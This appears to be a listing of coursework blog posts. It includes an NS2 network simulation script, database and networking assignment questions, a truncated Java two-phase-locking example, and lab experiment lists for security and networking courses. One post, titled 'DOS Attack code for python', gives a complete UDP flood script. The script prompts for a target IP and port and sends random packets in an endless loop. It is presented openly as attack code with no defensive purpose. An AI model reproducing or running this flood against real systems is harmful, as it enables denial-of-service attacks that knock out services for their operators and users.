Posts

exp3a

#Create a simulator object set ns [new Simulator] #Open the nam trace file set nf [open out.nam w] $ns namtrace-all $nf #Define a 'finish' procedure proc finish {} {         global ns nf         $ns flush-trace     #Close the trace file         close $nf     #Execute nam on the trace file         exec nam out.nam &         exit 0 } #Create two nodes set n0 [$ns node] set n1 [$ns node] #Create a duplex link between the nodes $ns duplex-link $n0 $n1 1Mb 10ms DropTail #Call the finish procedure after 5 seconds of simulation time $ns at 5.0 "finish" #Run the simulation $ns run

Assignment 2 [DD] last date is 3/4/2017

December 2015 1.  Give two applications of XML 2.  Describe Query processing in Distributed Database ** 3.  Describe 3 Phase Commit protocol / Algorithm ** 4.  Explain 2 concurrency control algorithm for  Distributed Database ** 5.  What are the issues of query processing in heterogeneous database 6.  Explain Distributed Deadlock Management ** 7.  Explain Distributed Database Architecture **  ********************************************************************************** May 2015 8.  What is Query Optimization? List distributed query processing algorithm and explain any one from that. 9.  Describe any two methods for deadlock...

Implementation of 2PL Protocol in java

Implementation of 2PL Protocol in java. import java.io.*; import java.util.*; class Account {     String name;     int amount,lock;         Account(String name,int amount,int lock)     {     this.name=name;     this.amount=amount;     this.lock=lock;     }         public void deposit(int amt)     {         amount +=amt;     }         public void withdraw(int amt)     {         if((amount-amt)<0)         {             System.out.println("Transaction Cannot proceed : Not Enough Balance in Account"+name);             System.exit(0);         ...

CSS PRACTICAL / EXPERIMENT LIST

PRACTICAL / EXPERIMENT LIST Name of Faculty: Prof Ansari Mukhtar  Academic Year: 2016 -17   Department: CO  Subject: CSS Class: BE Semester: VII   Cryptography: EXPERIMENT-1: Write a java program for Implementing a Symmetric key cryptography of Caeser Cipher and Product Cipher algorithm. EXPERIMENT-2: Write a java program for Implementing a Symmetric key cryptography of Product Cipher algorithm. EXPERIMENT-3: Study and Implementation of RSA algorithm.   EXPERIMENT-4: Study and Implementation of A5/1 algorithm. EXPERIMENT-5: To study Blowfish algorithm and write a program for encryption and decryption using blowfish generated key. System Security: EXPERIMENT-1: To study and demonstrate SQL Injection by attacking the Local Database. EXPERIMENT-2: To study and demonstrate working of virus on virtual operating system. EXP...

DOS Attack code for python

import socket import random sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM) #Creates a socket bytes=random._urandom(1362) #Creates packet ip=raw_input('Target IP: ') #The IP we are attacking port=input('Port: ') #Port we direct to attack sent= 0 while 1: #Infinitely loops sending packets to the port until the program is exited.     sock.sendto(bytes,(ip,port))     print "Sent %s amount of packets to %s at port %s." % (sent,ip,port)     sent= sent + 1

CN LAB [Experiments List]

  EXPERIMENT-1.a : Study of following Network Types. • PAN • LAN • MAN • WAN   EXPERIMENT-1.b : Study of different types of Network cables and Practically implement the cross-wired cable using clamping tool. EXPERIMENT-2.a : Study of following Network Topologies. • Bus • Ring • Star • Mesh • Tree • Hybrid   EXPERIMENT-2.b : Study of following Network Devices in Detail • Repeater • Hub • Switch • Bridge • Router • Gate Way EXPERIMENT-3 : Installation & Configuration of NS2 in Linux environment and building basic LAN topology in NS2. EXPERIMENT-4: Building Dynamic Routing topology using NS2. EXPERIMENT-5: Write a program to find out class of a given IP address, subnet mask & first & last IP address of that block. EXPERIMENT-6: Write a program to build client-server model on different computers. EXPERIMENT-7: Write a program for Congestion Control using :      ...

Assignment No 2 [Last Date : 14/10/2016]

  1. List and Explain different types of routing. ( 6.b: Dec-12, 5.b: May-13, Marks10) 2. Explain the IPv4 and IPv6 header format in details. (5.b: May-11, 5.a: Dec-11, 4.a: May -12, Marks 10)   3. Write a short note on CIDR. ( 7.d: May-13. Marks 10) 4. Why there is a need for congestion control? What are the different mechanisms? Explain them. ( 4.a: Dec-14, Marks 10) 5. An organization is granted the block 211.17.180.0/24. The administrator wants to create 32 subnets. a. Find the subnet mask. b. Find the number of addresses in each subnets. c. Find the first and last address in subnet 1. d. Find the first and last addresses in subnet 32. ( 4.b: Dec-10 Marks 10) 6. Explain the different elements of transport protocols. ( 2.b: Dec-14,Marks10) 7. Explain how TCP handles error control and flow control. ( 3.a: Dec-14,Marks 10 ) 8.Explain the need for DNS and describe the protocol functioning. ( 2.a: Dec-14, Marks 1...